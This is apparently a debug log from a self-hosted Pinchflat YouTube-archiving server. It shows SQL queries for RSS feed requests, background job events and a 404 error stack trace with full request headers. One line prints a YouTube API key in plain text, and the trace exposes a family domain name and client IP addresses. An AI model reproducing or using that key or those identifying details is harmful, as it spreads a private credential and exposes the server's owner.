m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [27, 2000] 17:11:21.431 [debug] QUERY OK source="source_metadata" db=0.0ms queue=0.2ms idle=118.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [27] 17:11:21.431 [debug] QUERY OK source="media_metadata" db=0.0ms idle=110.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563676] 17:11:21.431 [info] Sent 200 in 23ms 17:11:21.469 [info] GET /sources/72002b34-c043-42e8-84e7-d0b43eaebbef/feed.xml 17:11:21.469 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "72002b34-c043-42e8-84e7-d0b43eaebbef"} Pipelines: [:maybe_basic_auth] 17:11:21.469 [debug] QUERY OK source="sources" db=0.1ms idle=148.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["72002b34-c043-42e8-84e7-d0b43eaebbef"] 17:11:21.473 [debug] QUERY OK source="media_items" db=3.8ms idle=60.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 17:11:21.480 [debug] QUERY OK source="source_metadata" db=0.0ms idle=67.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 17:11:21.480 [debug] QUERY OK source="media_metadata" db=0.0ms idle=49.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563684] 17:11:21.481 [info] Sent 200 in 11ms 17:11:21.859 [info] GET /sources/66a9988d-2485-4058-98cc-a70582045a5a/feed.xml 17:11:21.859 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "66a9988d-2485-4058-98cc-a70582045a5a"} Pipelines: [:maybe_basic_auth] 17:11:21.860 [debug] QUERY OK source="sources" db=0.0ms idle=390.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["66a9988d-2485-4058-98cc-a70582045a5a"] 17:11:21.867 [debug] QUERY OK source="media_items" db=6.9ms idle=386.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [11, 2000] 17:11:21.893 [debug] QUERY OK source="source_metadata" db=0.0ms idle=412.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [11] 17:11:21.893 [debug] QUERY OK source="media_metadata" db=0.0ms idle=412.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563739] 17:11:21.896 [info] Sent 200 in 36ms 17:11:22.383 [info] GET /sources/7eb49f00-7df6-4cda-b867-301266b38336/feed.xml 17:11:22.383 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7eb49f00-7df6-4cda-b867-301266b38336"} Pipelines: [:maybe_basic_auth] 17:11:22.384 [debug] QUERY OK source="sources" db=0.1ms idle=558.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7eb49f00-7df6-4cda-b867-301266b38336"] 17:11:22.386 [debug] QUERY OK source="media_items" db=2.4ms idle=524.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 17:11:22.397 [debug] QUERY OK source="source_metadata" db=0.0ms idle=530.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 17:11:22.397 [debug] QUERY OK source="media_metadata" db=0.0ms idle=504.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563693] 17:11:22.398 [info] Sent 200 in 14ms 17:11:22.632 [info] GET /sources/3605c76f-ca58-49ca-8d6f-c7997a9aae9b/feed.xml 17:11:22.632 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3605c76f-ca58-49ca-8d6f-c7997a9aae9b"} Pipelines: [:maybe_basic_auth] 17:11:22.633 [debug] QUERY OK source="sources" db=0.2ms idle=739.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3605c76f-ca58-49ca-8d6f-c7997a9aae9b"] 17:11:22.635 [debug] QUERY OK source="media_items" db=2.1ms idle=248.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [33, 2000] 17:11:22.646 [debug] QUERY OK source="source_metadata" db=0.1ms idle=259.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [33] 17:11:22.646 [debug] QUERY OK source="media_metadata" db=0.0ms idle=249.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563702] 17:11:22.647 [info] Sent 200 in 14ms 17:11:29.088 [info] {"source":"oban","duration":10514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:58.888 [info] GET /sources/3/force_download_pending 17:11:58.888 [debug] QUERY OK source="settings" db=0.2ms idle=1010.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:58.889 [debug] QUERY OK source="settings" db=0.1ms idle=1010.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:58.889 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:11:58.889 [error] #PID<0.22708.0> running PinchflatWeb.Endpoint (connection #PID<0.22707.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 45746}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "170.254.118.218", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "170.254.118.218" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22708.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "170.254.118.218"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "170.254.118.218"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMFfmP_x88ChtMACVPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 45746}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "170.254.118.218", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "170.254.118.218" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 45746}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "170.254.118.218", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "170.254.118.218" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22708.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, (truncated) 17:11:59.099 [info] {"source":"oban","duration":10465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.062 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:29.107 [info] {"source":"oban","duration":7358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:59.115 [info] {"source":"oban","duration":7672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.063 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:29.126 [info] {"source":"oban","duration":10557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:59.137 [info] {"source":"oban","duration":10153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.064 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:29.145 [info] {"source":"oban","duration":7479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:59.154 [info] {"source":"oban","duration":7707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.065 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:29.162 [info] {"source":"oban","duration":7871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:59.171 [info] {"source":"oban","duration":7806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.066 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:29.179 [info] {"source":"oban","duration":7476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:32.149 [info] {"args":{"id":30},"id":3800116,"meta":{},"system_time":1770765392149853494,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:32.150 [debug] QUERY OK source="sources" db=0.8ms idle=1271.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:16:32.151 [debug] QUERY OK source="settings" db=0.8ms idle=1272.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:32.152 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1009.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:32.153 [debug] QUERY OK source="settings" db=0.8ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:32.153 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:16:32.153 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:32.153 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:32.334 [debug] QUERY OK source="media_items" db=0.4ms idle=183.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:16:32.335 [debug] QUERY OK source="media_items" db=0.1ms idle=183.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:16:32.335 [debug] QUERY OK source="tasks" db=0.1ms idle=181.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800155, 30, ~U[2026-02-10 23:16:32Z], ~U[2026-02-10 23:16:32Z]] 17:16:32.336 [info] {"args":{"id":30},"id":3800116,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186036,"event":"job:stop","queue_time":470779,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:33.150 [info] {"args":{"id":17},"id":3800117,"meta":{},"system_time":1770765393150725841,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:33.151 [debug] QUERY OK source="sources" db=0.2ms idle=815.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:16:33.151 [debug] QUERY OK source="settings" db=0.1ms idle=815.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:33.151 [debug] QUERY OK source="media_profiles" db=0.0ms idle=809.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:33.151 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", 